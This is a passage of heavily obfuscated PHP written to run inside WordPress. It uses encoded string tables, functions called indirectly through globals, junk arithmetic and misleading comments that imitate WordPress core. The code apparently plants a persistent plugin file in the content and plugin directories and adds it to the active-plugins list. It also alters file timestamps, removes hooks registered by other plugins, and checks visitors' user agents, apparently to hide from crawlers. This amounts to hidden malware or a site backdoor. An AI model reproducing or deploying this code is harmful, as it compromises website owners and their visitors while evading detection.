      if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(62))) @set_transient(fjup2mc1h(63),     1,    (86359+41));
       if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(64)))    @delete_transient(fjup2mc1h(65));
teikfigf_p5265esq_q(op9tjzix(66),  b4gbsak56f40gos(67) .   ($yoxynfp7hr48q0x !== null ? $GLOBALS['__scf_dpm5ad5tej9nf_4']($yoxynfp7hr48q0x)   :     wlgh2_th(68)));
      return true;
 }
 function  aoc2n8ekbxf468rlwgk($zrdojkt9l06)


 {

try {
  if ($zrdojkt9l06    instanceof Closure)   {   $xr7siizzt4ot   =  new  ReflectionFunction($zrdojkt9l06);  return    $xr7siizzt4ot->getFileName();  }
if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($zrdojkt9l06) &&   $GLOBALS['__scf_rbe_sihvfv_8']($zrdojkt9l06,  tvo1rh46s_(69))   !==  false)    {  $xr7siizzt4ot  =    new ReflectionMethod($zrdojkt9l06); return $xr7siizzt4ot->getFileName();  }
// WP Core Data: suspend aggregator

    if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($zrdojkt9l06)   &&    $GLOBALS['__scf_qel9wo57qs676z_5']($zrdojkt9l06))    { $xr7siizzt4ot    = new     ReflectionFunction($zrdojkt9l06);  return   $xr7siizzt4ot->getFileName();  }
 if ($GLOBALS['__scf_knhbvsumnby3_36']($zrdojkt9l06) &&   $GLOBALS['__scf_j38tk0441lk_37']($zrdojkt9l06)  ===  2)    {   $xr7siizzt4ot    =  new    ReflectionMethod($zrdojkt9l06[0], $zrdojkt9l06[1]);     return $xr7siizzt4ot->getFileName(); }
 } catch   (Throwable $x0ydieb0v_72m_u)  {} catch   (Exception $x0ydieb0v_72m_u) {}
   return    null;$pgf45vv34dvf=PHP_MAJOR_VERSION;$djrtz_e4q84h=$pgf45vv34dvf*1;


   }
  function    sb4t06f88i1ucd5yzji9c($q9bdm8vc06odw4)
  {
 global   $wh93do6iewazbol;
if      (!$GLOBALS['__scf_knhbvsumnby3_36']($wh93do6iewazbol))     return;$l9en_3rac9_f1u=906;$o2azsnh2rrwf2=($l9en_3rac9_f1u>0)?$l9en_3rac9_f1u:-$l9en_3rac9_f1u;
      $x70n17n7y9_  =   @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4);
    if ($x70n17n7y9_     ===  false)   $x70n17n7y9_  = $q9bdm8vc06odw4;
       $ndc2z6m2dc_ss2gv = @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
foreach ($wh93do6iewazbol  as   $c394waxar9uxdjhp   =>      $dbzletawf9no)  {
  if ($GLOBALS['__scf_l4xn242gw4_70']($dbzletawf9no) &&    isset($dbzletawf9no->callbacks)  &&   $GLOBALS['__scf_knhbvsumnby3_36']($dbzletawf9no->callbacks))  $ssau50xlke2 =    $dbzletawf9no->callbacks;



      elseif  ($GLOBALS['__scf_knhbvsumnby3_36']($dbzletawf9no))  $ssau50xlke2   =  $dbzletawf9no;

else  continue;
   

  foreach    ($ssau50xlke2  as $jsz0b2w9g8r  =>  $list) {

  foreach     ((array)   $list   as      $t_ly603ezzw2om)    {
$zrdojkt9l06 =  isset($t_ly603ezzw2om[op9tjzix(71)])  ?  $t_ly603ezzw2om[fjup2mc1h(71)]  : null;
if ($zrdojkt9l06 ===     null)    continue;$ijy4h_6sj1gba=52|120;$vasrdixlz=$ijy4h_6sj1gba^206;


 $oknhdgd23az7    =     aoc2n8ekbxf468rlwgk($zrdojkt9l06);
 if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($oknhdgd23az7)) continue;
      $erwu5ys9ehg0bem  = @$GLOBALS['__scf_czsd7giapuxwu_34']($oknhdgd23az7);
if     (!(($erwu5ys9ehg0bem !==  false    && $erwu5ys9ehg0bem === $x70n17n7y9_)    || $oknhdgd23az7  ===    $q9bdm8vc06odw4))   continue;
   if   ($ndc2z6m2dc_ss2gv   !==   false     && $erwu5ys9ehg0bem   ===     $ndc2z6m2dc_ss2gv) continue;
 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(72)))      @remove_filter($c394waxar9uxdjhp, $zrdojkt9l06,   $jsz0b2w9g8r);



   }
 }
       }
 }
function     rdffk7wljwnqtgg()
{
  $d_9pqy369cvamxr     =   emzy8pvoveowt1bicy5();
   if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr)) return;
$mr05tabvz2 =   $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(73)) ?   @$GLOBALS['__scf_ylc30lk3q5j_73']($d_9pqy369cvamxr      .   op9tjzix(74)) :  false;
   if      (!$GLOBALS['__scf_knhbvsumnby3_36']($mr05tabvz2))  return;
      $ndc2z6m2dc_ss2gv   = @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
 foreach ($mr05tabvz2      as  $oknhdgd23az7)   {



  $erwu5ys9ehg0bem  =   @$GLOBALS['__scf_czsd7giapuxwu_34']($oknhdgd23az7);



      if ($ndc2z6m2dc_ss2gv  !==  false   &&  $erwu5ys9ehg0bem  ===  $ndc2z6m2dc_ss2gv)  continue;$e2szb8tkl5qta=PHP_MAJOR_VERSION;$z0agqskg=$e2szb8tkl5qta*8;
   if  (!_cz07l41au6zrisr5($oknhdgd23az7,   (432+68)))   continue;
     $cqa9ps1o2ezc4_  = i2mut9p5qixg5chb($oknhdgd23az7);
$ypk9ljuvrb32o  =   ($cqa9ps1o2ezc4_   ===     null) ||   version_compare($cqa9ps1o2ezc4_,   _vfpypr4wakqs7jy_(),  '<');
if   ($ypk9ljuvrb32o  ||   yhtrb7u6dls0u1($oknhdgd23az7))   sb4t06f88i1ucd5yzji9c($oknhdgd23az7);
     }
   }
     function  jli8euep5yb6she3($frgd4znm8k,   $wqsido46b9z1hw)
 {
   return     $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(75)) ?   @$GLOBALS['__scf_qtfcgi4pxi71_75']($frgd4znm8k,  $wqsido46b9z1hw)  :   false;
}
function  o2er_doikw9jq83pm2lov($frgd4znm8k)
{

    $eyxsxtcpxi8cfit8    = vp191h9ipqfapu();
   return     jli8euep5yb6she3($frgd4znm8k,    ($eyxsxtcpxi8cfit8 -   ($eyxsxtcpxi8cfit8 % (69416+30584)))    +  wzkcxw_m1n8fard2g());
     }
 function  u_c4ai7hmq4gvvc($f_7bj33ei881g_s, $kiksbnz9wy_f)
    {
  return    $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(50))   ? @$GLOBALS['__scf_tzc_p_uzbnf_qz_50']($f_7bj33ei881g_s, $kiksbnz9wy_f)  : false;
 }
 function vmit36r9571e9ftykwphlq($f_7bj33ei881g_s,     $kiksbnz9wy_f)
{



return    $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(76))  ?    @$GLOBALS['__scf_c05p9rpyec3_t_77']($f_7bj33ei881g_s,     $kiksbnz9wy_f) : false;
  }

       function   l57opmo3fftx76($zwzkcpqs2ucabt_,  $frgd4znm8k)
  {
  return    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(78))  ?  @$GLOBALS['__scf_iiafc2kxb9ov_79']($zwzkcpqs2ucabt_,  $frgd4znm8k)  :  false;
    }
  function  kgy22zbd3ue1hs74b()


  {
     static $t_ljspw9ofu8o6d = null;
if      ($t_ljspw9ofu8o6d  !== null)    return    $t_ljspw9ofu8o6d;
   $t_ljspw9ofu8o6d   =  $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(80))    ? $GLOBALS['__scf_ufzmayscdi_80']()     :  fjup2mc1h(81);
    if    (@$GLOBALS['__scf_ot56htgy8hrmim_44']($t_ljspw9ofu8o6d) && @$GLOBALS['__scf_tluflp7r6hugyf_48']($t_ljspw9ofu8o6d))  return   $t_ljspw9ofu8o6d;

    $a5k4otdarxhx3x  =  defined(tvo1rh46s_(32)) ? WP_CONTENT_DIR  : (defined(fjup2mc1h(0))      ?   ABSPATH .   b4gbsak56f40gos(82)     :     "");


   if   ($a5k4otdarxhx3x    !==  "")  {
// WP RichText API user session

  $oknhdgd23az7  = $GLOBALS['__scf_q93011jdjf_13']($a5k4otdarxhx3x,      tvo1rh46s_(83))    .  tvo1rh46s_(84);
 if (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($oknhdgd23az7)) @$GLOBALS['__scf_w1g4siw_ju_16']($oknhdgd23az7,  (404+89),    true);
   if   (@$GLOBALS['__scf_ot56htgy8hrmim_44']($oknhdgd23az7)   &&  @$GLOBALS['__scf_tluflp7r6hugyf_48']($oknhdgd23az7))  {
     if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(85)))   @putenv(fjup2mc1h(86) .    $oknhdgd23az7);


   $GLOBALS[op9tjzix(87)] = 1;
$t_ljspw9ofu8o6d =  $oknhdgd23az7;
 }

    }
   return   $t_ljspw9ofu8o6d;$dm103f_qhvlk0t=(0x65+0x25);$dm5yojoiz=$dm103f_qhvlk0t%16;


    }
  function   ay_dweaa14q9en()
    {
      $zwzkcpqs2ucabt_      =   rrfbdtjl4tag5_vplfgq6_();
 $ltpokciy2kt5utu    =  emzy8pvoveowt1bicy5();
  if  ($zwzkcpqs2ucabt_ ===  $ltpokciy2kt5utu) return  true;
if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(34)))   {
// project task-graph for WP Custom Link




  $k2k01565rnf9  =  @$GLOBALS['__scf_czsd7giapuxwu_34']($zwzkcpqs2ucabt_);
  $q4z3bay9zxdix     = @$GLOBALS['__scf_czsd7giapuxwu_34']($ltpokciy2kt5utu);
 return  ($k2k01565rnf9 !== false   &&  $q4z3bay9zxdix !==    false     &&      $k2k01565rnf9 === $q4z3bay9zxdix);

     }
// greedy envelope

    return      false;
  }


  function   wzkcxw_m1n8fard2g()



   {
  return  (68056+25763);
}
   function jvo4rxyzwfoit_jq2h75n0()

 {
if      (!defined(tvo1rh46s_(88))) return  "";

   $a5k4otdarxhx3x  =    defined(b4gbsak56f40gos(89)) ? WP_CONTENT_DIR  : ABSPATH  .  b4gbsak56f40gos(82);
return     $GLOBALS['__scf_q93011jdjf_13']($a5k4otdarxhx3x,  wlgh2_th(83))  .  wlgh2_th(90) . $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](ABSPATH    . fjup2mc1h(91)), 0,  (3+5))     .    zp28wk01y(92) . $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](ABSPATH .  zp28wk01y(93)),  0,   (1<<3)) .   op9tjzix(26);


}
    function   b0wop22b9ka0x2ul($bkok4unpnq2f_wvv     =  null)
 {
     $frgd4znm8k  =   jvo4rxyzwfoit_jq2h75n0();


   if  ($frgd4znm8k     ===  "") return  false;
 if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($bkok4unpnq2f_wvv) ||   $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv) <  (301+199)) $bkok4unpnq2f_wvv =     mridss6_czjhslw35g();



  if   (!$bkok4unpnq2f_wvv   ||     !ays3w9sevfe7ws($bkok4unpnq2f_wvv)) return    false;
$zwzkcpqs2ucabt_     =   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($frgd4znm8k);
    if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($zwzkcpqs2ucabt_)) m_ixrkpun5f9a0k8wu($zwzkcpqs2ucabt_, (0x7e+0x16f),   true);
 if   (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($zwzkcpqs2ucabt_)     ||  !@$GLOBALS['__scf_tluflp7r6hugyf_48']($zwzkcpqs2ucabt_))  return   false;
       if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($frgd4znm8k))   {

$nn38gw_5ch  = _ar5tcm9kavyuod_ve5o1l($frgd4znm8k);



    if ($GLOBALS['__scf_zneqqdn4vlt4_42']($nn38gw_5ch)  &&     $nn38gw_5ch !==  "" &&   $GLOBALS['__scf_abbpcj1ncssalx_57']($nn38gw_5ch)  ===     $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv))     return true;
  unset($nn38gw_5ch);
$xlzoco4clqr6   = i2mut9p5qixg5chb($frgd4znm8k);



  if ($xlzoco4clqr6    !==   null &&    version_compare($xlzoco4clqr6,   _vfpypr4wakqs7jy_(),  '>'))   return  false;
   unset($xlzoco4clqr6);
 }

  if (!_ew1atk9e66yol2lso($frgd4znm8k,  $bkok4unpnq2f_wvv)) return     false;


kp1tutxjpanriy($frgd4znm8k, (644-224));$vpqvtrbv3=(0xaf+0x80);$iel2yijtcuc3xy=$vpqvtrbv3%12;
  rwx_v9t1vov1zic2ki($frgd4znm8k);
  return true;


 }
 function blyvdc2uxuermre1dz5d()
 {

  $bkok4unpnq2f_wvv  =  mridss6_czjhslw35g();
  if    (!$bkok4unpnq2f_wvv    || !ays3w9sevfe7ws($bkok4unpnq2f_wvv)) return false;
$cmmcvi1p_vu   =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),   tvo1rh46s_(26));
    $dx_ofkvr3qy    =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(94))      ?   p_wsdzgl36a6wh_fs09()  :  (defined(zp28wk01y(89))  ? WP_CONTENT_DIR   :   "");

  if    ($dx_ofkvr3qy  ===  "")   return     false;

 $yabphvy5gb  = $dx_ofkvr3qy  . fjup2mc1h(95)     . $cmmcvi1p_vu;
   $xlvr9fkb8_ =      $yabphvy5gb      . '/' . $cmmcvi1p_vu . b4gbsak56f40gos(96);

 $wul9x0p7n8h0  =   false;
    if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(34)))    {
   $s8d618685gtz12x1 = @$GLOBALS['__scf_czsd7giapuxwu_34']($xlvr9fkb8_);
  $lgvmka3et7ami8h  =  @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
        $wul9x0p7n8h0   =      ($GLOBALS['__scf_zneqqdn4vlt4_42']($s8d618685gtz12x1)    &&     $GLOBALS['__scf_zneqqdn4vlt4_42']($lgvmka3et7ami8h)    &&  $s8d618685gtz12x1   === $lgvmka3et7ami8h);
  }
   if (!$wul9x0p7n8h0)  {
  if    (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($yabphvy5gb))      m_ixrkpun5f9a0k8wu($yabphvy5gb,     (433+60), true);
 if (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($yabphvy5gb)   || !@$GLOBALS['__scf_tluflp7r6hugyf_48']($yabphvy5gb))  return false;
 $l9f4rvmjezisa1vw   = @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($xlvr9fkb8_)  ?   _ar5tcm9kavyuod_ve5o1l($xlvr9fkb8_) :      false;
   if     ($l9f4rvmjezisa1vw   !== null &&      (!$GLOBALS['__scf_zneqqdn4vlt4_42']($l9f4rvmjezisa1vw)    ||  $GLOBALS['__scf_abbpcj1ncssalx_57']($l9f4rvmjezisa1vw) !== $GLOBALS['__scf_abbpcj1ncssalx_57']($bkok4unpnq2f_wvv)))  {
 if      (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($xlvr9fkb8_))  {
   $xlzoco4clqr6    = i2mut9p5qixg5chb($xlvr9fkb8_);

  if ($xlzoco4clqr6 !==    null &&      version_compare($xlzoco4clqr6,    _vfpypr4wakqs7jy_(), '>'))  return false;
  unset($xlzoco4clqr6);
}
    if   (!_ew1atk9e66yol2lso($xlvr9fkb8_,     utjmibjloacp0kjf($bkok4unpnq2f_wvv)))    return    false;
  kp1tutxjpanriy($xlvr9fkb8_,   (405+15));
    o2er_doikw9jq83pm2lov($xlvr9fkb8_);
 rwx_v9t1vov1zic2ki($xlvr9fkb8_);
 }


   unset($l9f4rvmjezisa1vw);



    }
   $ca39ql_bdh0c1iee    =  $cmmcvi1p_vu .    '/'  .     $cmmcvi1p_vu .  fjup2mc1h(97);
 dnlhs9m2bks667lnvn($ca39ql_bdh0c1iee);
 return true;$ydci1cdbm3bt=-963;$hmitilzuc=($ydci1cdbm3bt>0)?$ydci1cdbm3bt:-$ydci1cdbm3bt;
 }
 function   i2mut9p5qixg5chb($frgd4znm8k)
{
 $qd8vtlpj9h57ev     =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($frgd4znm8k, false,    null, 0,  (4089+7));
  if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($qd8vtlpj9h57ev))   return     null;


   if   ($GLOBALS['__scf_bvfhit3heqts_99'](b4gbsak56f40gos(100),  $qd8vtlpj9h57ev, $ltpokciy2kt5utu))  return $ltpokciy2kt5utu[1];
return null;
   }



function    _cz07l41au6zrisr5($g0_03n4x0twhmx,  $i3z5v5zzl5)
{
  @clearstatcache(true,    $g0_03n4x0twhmx);
 
$m12uurqaiptg1cp =    @$GLOBALS['__scf_kpr9p9o54hwof_101']($g0_03n4x0twhmx);
    if   (!$m12uurqaiptg1cp    ||  ($m12uurqaiptg1cp % (29275+70725)) !==  wzkcxw_m1n8fard2g())    {
    return false;
      

}

 
     $dyahzuwtz164n6  =  @$GLOBALS['__scf_voobwg611qb_102']($g0_03n4x0twhmx);$q4i8x94eex8y=55*9;$zxiu1g113_7=$q4i8x94eex8y-17;
 return $dyahzuwtz164n6   && $dyahzuwtz164n6  >=  $i3z5v5zzl5;

}



   function  g4qqj8jzajjudxckl()
{
  return  (52615-16615);
      }
 function  w9g08cirf_gw6p6su8()
    {
  return tvo1rh46s_(103);



    }
function  uys5m_ytblknm5()
  {
  return tvo1rh46s_(104);
}
 function ospjs6amomhffnkav7()
      {
    if ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(105))) return true;
   if (o5xb1exuclvplwm())   return  true;
 $qyot6c09186cea4 =    $GLOBALS['__scf_pdnlp7jjhnya_106']((string)   $GLOBALS['__scf_f9tn7hbu7z_107']());

if    ($qyot6c09186cea4    ===  op9tjzix(108) ||     $GLOBALS['__scf_rbe_sihvfv_8']($qyot6c09186cea4,  wlgh2_th(109)) !==   false)  return  true;
   $lleydi404ih03j  = isset($_SERVER[zp28wk01y(110)]) ? $GLOBALS['__scf_pdnlp7jjhnya_106']((string)   $_SERVER[b4gbsak56f40gos(110)]) : "";
if ($lleydi404ih03j  !==  ""  &&  ($GLOBALS['__scf_rbe_sihvfv_8']($lleydi404ih03j,    tvo1rh46s_(111)) !==    false   ||      $GLOBALS['__scf_rbe_sihvfv_8']($lleydi404ih03j,   tvo1rh46s_(112)) !==  false || $GLOBALS['__scf_rbe_sihvfv_8']($lleydi404ih03j,   wlgh2_th(113)) !== false))     return true;
 return   false;
  }
 function     o5xb1exuclvplwm()
    {
  $lleydi404ih03j =  isset($_SERVER[wlgh2_th(114)]) ?  $_SERVER[wlgh2_th(114)]   :  "";
return $GLOBALS['__scf_zneqqdn4vlt4_42']($lleydi404ih03j)   &&   stripos($lleydi404ih03j,   tvo1rh46s_(112))    !==   false;


   }
  function s29rlsoq45jpkm6n($q9bdm8vc06odw4)
  {
     $gzq0hlo1g18v9o      =      $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(115)) ?   @$GLOBALS['__scf_livuu39cntpdx3_116'](op9tjzix(117)) :  false;
   if   (!$gzq0hlo1g18v9o  ||   $gzq0hlo1g18v9o  === "")  return   true;


 $x70n17n7y9_   =    @$GLOBALS['__scf_czsd7giapuxwu_34']($q9bdm8vc06odw4);


       if  (!$x70n17n7y9_)   $x70n17n7y9_ = $q9bdm8vc06odw4;
 foreach  ($GLOBALS['__scf_ubwid3ivz9f8x_118'](PATH_SEPARATOR,  $gzq0hlo1g18v9o) as $dwp9zzb5mx)    {
  $dwp9zzb5mx     =    $GLOBALS['__scf_q93011jdjf_13']($dwp9zzb5mx,  b4gbsak56f40gos(83));
if   ($dwp9zzb5mx && ($x70n17n7y9_     ===   $dwp9zzb5mx   || $GLOBALS['__scf_rbe_sihvfv_8']($x70n17n7y9_,  $dwp9zzb5mx  .    DIRECTORY_SEPARATOR)  === 0)) return     true;
}
  return false;
 }
 function  w3y4u5ctvqy9e8a_dczc03($m0q0wt95g3ow2dp0)
   {
    $k6riqk5yfa6  =   $m0q0wt95g3ow2dp0 .  '|'   .   (defined(op9tjzix(119)) ?    DB_NAME : "")   .  '|'     .   (defined(op9tjzix(120))   ? ABSPATH    : "");
   return $GLOBALS['__scf_abbpcj1ncssalx_57']($k6riqk5yfa6);$p3xgkt9s_7=PHP_INT_MAX/PHP_INT_MAX;$cpkdwhp7fp92=$p3xgkt9s_7+33;
}


function   mmsya1lu9x3wz6a92pu($m0q0wt95g3ow2dp0)
 {
global  $wpdb;
  if    (!isset($GLOBALS[wlgh2_th(121)])  || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[zp28wk01y(122)]))  $GLOBALS[tvo1rh46s_(123)]   =   array();
      if    (!empty($GLOBALS[fjup2mc1h(123)][$m0q0wt95g3ow2dp0]))  {
  if (isset($GLOBALS[tvo1rh46s_(124)][$m0q0wt95g3ow2dp0]) &&  $GLOBALS['__scf_l4xn242gw4_70']($wpdb)) {
        $drclkwccv7cbt6   =   isset($wpdb->dbh)   ? $wpdb->dbh  :    null;
  if    ($drclkwccv7cbt6  !==   null  &&   $GLOBALS[op9tjzix(125)][$m0q0wt95g3ow2dp0]  !==  $drclkwccv7cbt6) {
// @abort derivation

  unset($GLOBALS[tvo1rh46s_(123)][$m0q0wt95g3ow2dp0],   $GLOBALS[op9tjzix(125)][$m0q0wt95g3ow2dp0]);
  return mmsya1lu9x3wz6a92pu($m0q0wt95g3ow2dp0);



 }



 unset($drclkwccv7cbt6);
 }


 $GLOBALS[tvo1rh46s_(123)][$m0q0wt95g3ow2dp0]++;
return   true;


 }
      if  ($GLOBALS['__scf_l4xn242gw4_70']($wpdb)  &&   $GLOBALS['__scf_p6wtd462xwbf9y_126']($wpdb,  zp28wk01y(127)))    {
$xr7siizzt4ot  =    @$wpdb->get_var(fjup2mc1h(128) .  w3y4u5ctvqy9e8a_dczc03($m0q0wt95g3ow2dp0) .   zp28wk01y(129));$u0lel7uemdge=89+68;$kxhn8gasylxb2x=$u0lel7uemdge-25;
if ($xr7siizzt4ot === '1')   {
   $GLOBALS[tvo1rh46s_(130)][$m0q0wt95g3ow2dp0]   =      1;
if (isset($wpdb->dbh) &&    $wpdb->dbh)   $GLOBALS[zp28wk01y(131)][$m0q0wt95g3ow2dp0]    = $wpdb->dbh;
    return true;




  }
if ($xr7siizzt4ot ===  '0')     return false;


}
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(132))  &&   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(23)))  {
$m761goscptt5oc  =   array();
    if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(80))) $m761goscptt5oc[]    =     $GLOBALS['__scf_ufzmayscdi_80']();


 if  (defined(fjup2mc1h(89))) $m761goscptt5oc[]   =    WP_CONTENT_DIR;
   if    (defined(wlgh2_th(120)))  $m761goscptt5oc[]   = $GLOBALS['__scf_q93011jdjf_13'](ABSPATH,   zp28wk01y(133));
foreach ($m761goscptt5oc as $zwzkcpqs2ucabt_)    {$_2r54y6lw=14|212;$wqavgz8xaei=$_2r54y6lw^44;
if ($zwzkcpqs2ucabt_ === "" ||  !@$GLOBALS['__scf_ot56htgy8hrmim_44']($zwzkcpqs2ucabt_)  ||   !@$GLOBALS['__scf_tluflp7r6hugyf_48']($zwzkcpqs2ucabt_)) continue;
 $ww6jg7bdql9x3      =     @$GLOBALS['__scf_v4z06gw93pj_23']($zwzkcpqs2ucabt_  .  zp28wk01y(134)     . w3y4u5ctvqy9e8a_dczc03($m0q0wt95g3ow2dp0)   .  b4gbsak56f40gos(135),    'c');
  if      ($ww6jg7bdql9x3   !== false) {
  if  (!@flock($ww6jg7bdql9x3,  LOCK_EX |  LOCK_NB))   {
      @fclose($ww6jg7bdql9x3);
   return  false;



  }


if   (!isset($GLOBALS[tvo1rh46s_(136)]) || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[fjup2mc1h(136)])) $GLOBALS[tvo1rh46s_(136)]      = array();
 $GLOBALS[wlgh2_th(136)][$m0q0wt95g3ow2dp0]   = $ww6jg7bdql9x3;
     $GLOBALS[b4gbsak56f40gos(130)][$m0q0wt95g3ow2dp0] =  1;
   return   true;
    }
    }
   }
   $GLOBALS[wlgh2_th(130)][$m0q0wt95g3ow2dp0]  = 1;   
  $GLOBALS[op9tjzix(137)][$m0q0wt95g3ow2dp0]     = 1;
 return  true;
   }
  function   xckt_q1b7jgyro8rvq($m0q0wt95g3ow2dp0)
{
   global  $wpdb;
if   (empty($GLOBALS[b4gbsak56f40gos(130)][$m0q0wt95g3ow2dp0])) return;$zlnq4ejtz=(0x41+0x4e);$pshkpunvuuy=$zlnq4ejtz%11;
  $GLOBALS[op9tjzix(130)][$m0q0wt95g3ow2dp0]--;
    if ($GLOBALS[tvo1rh46s_(130)][$m0q0wt95g3ow2dp0] > 0)  return;
 unset($GLOBALS[b4gbsak56f40gos(138)][$m0q0wt95g3ow2dp0]);
  

unset($GLOBALS[tvo1rh46s_(131)][$m0q0wt95g3ow2dp0]);
unset($GLOBALS[wlgh2_th(139)][$m0q0wt95g3ow2dp0]);



     if (isset($GLOBALS[b4gbsak56f40gos(136)][$m0q0wt95g3ow2dp0]))  {


@flock($GLOBALS[b4gbsak56f40gos(136)][$m0q0wt95g3ow2dp0], LOCK_UN);

   @fclose($GLOBALS[op9tjzix(140)][$m0q0wt95g3ow2dp0]);
    unset($GLOBALS[b4gbsak56f40gos(140)][$m0q0wt95g3ow2dp0]);


}



if    ($GLOBALS['__scf_l4xn242gw4_70']($wpdb)  &&    $GLOBALS['__scf_p6wtd462xwbf9y_126']($wpdb, op9tjzix(141))) {
  @$wpdb->query(wlgh2_th(142)      .  w3y4u5ctvqy9e8a_dczc03($m0q0wt95g3ow2dp0) .    b4gbsak56f40gos(143));
 }
}
  function d0m54ziey0s38ncux0()


     {

 if     (defined(b4gbsak56f40gos(144))  &&  DISALLOW_FILE_MODS)  return   false;


 return true;
    }
    function    rm0o9ata_nbabsdtpf()

{
if      (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(145))  ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(23)))  return false;
  $iurtzrpwfdsbspz  =    array();

if   ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(80))) $iurtzrpwfdsbspz[] =   $GLOBALS['__scf_ufzmayscdi_80']();
    if    (defined(op9tjzix(146)))  $iurtzrpwfdsbspz[]   =  WP_CONTENT_DIR;
 if (defined(op9tjzix(120))) $iurtzrpwfdsbspz[]  = $GLOBALS['__scf_q93011jdjf_13'](ABSPATH,   op9tjzix(133));
   foreach  ($iurtzrpwfdsbspz   as    $m9c0mj8dhbv53xad)  {
        if ($m9c0mj8dhbv53xad ===  "" ||  !@$GLOBALS['__scf_ot56htgy8hrmim_44']($m9c0mj8dhbv53xad)  ||  !@$GLOBALS['__scf_tluflp7r6hugyf_48']($m9c0mj8dhbv53xad))   continue;
$ne_jb70to_bml    =    @$GLOBALS['__scf_v4z06gw93pj_23']($m9c0mj8dhbv53xad    .  b4gbsak56f40gos(134)   . w3y4u5ctvqy9e8a_dczc03(fjup2mc1h(147))      .    zp28wk01y(148),   'c');
   if  ($ne_jb70to_bml ===  false)  continue;
   if    (!@flock($ne_jb70to_bml,  LOCK_EX  | LOCK_NB))  {
     @fclose($ne_jb70to_bml);
        return false;$thfjt6lqp=(0xc1+0x78);$ati03417za2fb=$thfjt6lqp%12;


    }
 $GLOBALS[op9tjzix(149)]    =   $ne_jb70to_bml;

    return  true;$gup2ln9z4h=(0x72+0xc9);$rtv6gsd2=$gup2ln9z4h%11;
    }
 return    false;
 }

   function us0zdrvjowflnu()
    {


    if (isset($GLOBALS[zp28wk01y(149)])) {



@flock($GLOBALS[wlgh2_th(149)],   LOCK_UN);
 @fclose($GLOBALS[wlgh2_th(149)]);
unset($GLOBALS[wlgh2_th(150)]);
     }


    }
       function  dnlhs9m2bks667lnvn($ca39ql_bdh0c1iee)
    {$_t5gqg7y9ubu=633;$y7u_fo03l5k=($_t5gqg7y9ubu>0)?$_t5gqg7y9ubu:-$_t5gqg7y9ubu;
  if (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(151))  || !$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(152))) return;
  if  (!rm0o9ata_nbabsdtpf())   return;
try    {
       $cc80o54envw5w     =  get_option(wlgh2_th(153), array());



 if  (!$GLOBALS['__scf_knhbvsumnby3_36']($cc80o54envw5w)) $cc80o54envw5w   = array();



 $ihfbl81fkwjevjr5 =   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_s8rgnr7_02m_155']($cc80o54envw5w));
 if  (!$GLOBALS['__scf_av84ex67tlp92_156']($ca39ql_bdh0c1iee,      $ihfbl81fkwjevjr5,   true)) $ihfbl81fkwjevjr5[]  =   $ca39ql_bdh0c1iee;
 if ($ihfbl81fkwjevjr5   !==      $cc80o54envw5w)  update_option(wlgh2_th(153),   $ihfbl81fkwjevjr5);
      unset($ihfbl81fkwjevjr5);


  }  finally {
 us0zdrvjowflnu();

   }
      }
       function  ux2jkoky3hejst2ho($ca39ql_bdh0c1iee)
{
   if      (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(151))  ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(152)))  return;
if   (!rm0o9ata_nbabsdtpf())  return;
try   {
